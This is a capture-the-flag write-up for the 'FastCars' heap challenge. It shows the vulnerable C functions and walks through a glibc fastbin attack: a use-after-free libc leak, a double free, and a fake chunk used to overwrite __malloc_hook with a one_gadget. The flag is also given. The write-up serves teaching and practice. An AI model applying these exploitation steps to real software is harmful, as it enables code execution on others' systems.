tl;dr - use UAF in sell_car
to fastbin attack and overwrite __malloc_hook
with one_gadget.
I heard glibc malloc is fast. But not as fast as these cars.
Challenge author: k1R4
handout: FastCars.zip
We have a typical heap note like challenge where you can allocate, free and view heap chunks.
However here we are allowed to only allocate chunks of size 0x18,0x68,0x1f8
through the car_menu
function.
Here is the buy_car
funcion but there is no overflow here. lets look at sell_car next.
void buy_car(){
int idx = 10;
for(int i=0;i<10;i++){
if(cars[i] == NULL){
idx = i;
break;
}
}
if(idx == 10){
puts("Maximum entries reached!");
return;
}
unsigned int size = car_menu();
char buf[512];
if(size == 0) return;
cars[idx] = malloc(size);
printf("Model of Car: ");
fgets(buf,size,stdin);
memcpy(cars[idx],buf,size);
printf("Index: %d\n",idx);
return;
}
It is obvious that there is an UAF (Use After Free) in sell_car
function. The pointer to the chunk is not nulled after it is freed.
void sell_car(){
int idx = get_idx();
if (idx == 10) return;
free(cars[idx]);
return;
}
The simplest attack vector here is the fastbin since we can allocate chunks in range of fastbin size and we have an uaf. It is also suggested from the name of the challenge FastCars.
First off we need a libc leak, we can get that by allocating large chunk of size 0x1f8, freeing it and viewing it. This will give us a libc address
near main_arena
. It will look something like this:
a = alloc(0x1f8,"AAA")
b = alloc(0x18,"X")
free(a)
view(a)
Note that we have a small chunk in order to stop the large chunk from coalescing with the top chunk.
We have an uaf but how is it useful since we can't edit chunks? We can try double freeing chunks (ie; free the same chunk consecutively) but that will make malloc throw an error since malloc checks if the chunk we are freeing is the last chunk in the fastbin. We can get around this by doing something like this:
c = alloc(0x68,"")
d = alloc(0x68,"")
e = alloc(0x18,"")
free(c)
free(d)
free(c)
Now we have a double free on the chunk c
. We can get our next allocation where we desire by allocating a chunk of same size as our double freed chunk and overwrite fd
(forward pointer to next freed chunk) to point to an arbitrary address. Here is a simple illustration:
Before:
fastbin[0x70] => c [d->fd] => d [c->fd] => c
alloc(0x68,p64(0xdeadbeef))
After:
fastbin[0x70] => 0xdeadbeef [c->fd] => c [d->fd] => d
Note that fastbin follows LIFO.
But what do we overwrite here? Full RELRO
is enabled, so GOT overwrite is not an option. __malloc_hook
is a debug feature in glibc that allows you to run a particular code segment before returning control flow to malloc when malloc is called. __malloc_hook
is located in rw section in libc, so it is something we can overwrite to get RIP control. We shall overwriting it with one_gadget
since it doesn't require us to set up any registers.
However we have to pass the size check by malloc, it checks if the size of the chunk is in range of this particular fastbin, in our case 0x70-0x7f
(after adding malloc header of size 0x8 to our allocation of 0x68). So we have to look for a "fake chunk" that satisfies this condition. Fortunately libc addresses that start with the byte 0x70-0x7f
and are found on the rw section before __malloc_hook
. So by misaligning the rw section we can get a "fake_chunk" that will look something like:
00:0000│ 0x7fc5f6e16aed (_IO_wide_data_0+301) ◂— 0xc5f6e15260000000 <= start of fake chunk (prev_size)
01:0008│ 0x7fc5f6e16af5 (_IO_wide_data_0+309) ◂— 0x7f <= size
02:0010│ 0x7fc5f6e16afd ◂— 0xc5f6ad7ea0000000
03:0018│ 0x7fc5f6e16b05 (__memalign_hook+5) ◂— 0xc5f6ad7a7000007f
04:0020│ 0x7fc5f6e16b0d (__realloc_hook+5) ◂— 0xc5f6ad78a000007f
05:0028│ 0x7fc5f6e16b15 (__malloc_hook+5) ◂— 0x7f <= chunk starts above __malloc_hook
06:0030│ 0x7fc5f6e16b1d ◂— 0x0
07:0038│ 0x7fc5f6e16b25 (main_arena+5) ◂— 0x0
So in summary,
- We use UAF on a large chunk to get libc leak.
- We use double free on a fastbin chunk to fastbin attack.
- We overwrite
fd
of fastbin chunk to get allocation on a fake chunk above__malloc_hook
. - Then we overwrite
__malloc_hook
withone_gadget
by getting an allocation on it.
Final exploit can be found here
flag: inctf{g0tta_g0_f4st!}
Hope you enjoyed the challenge as much as I did making it :D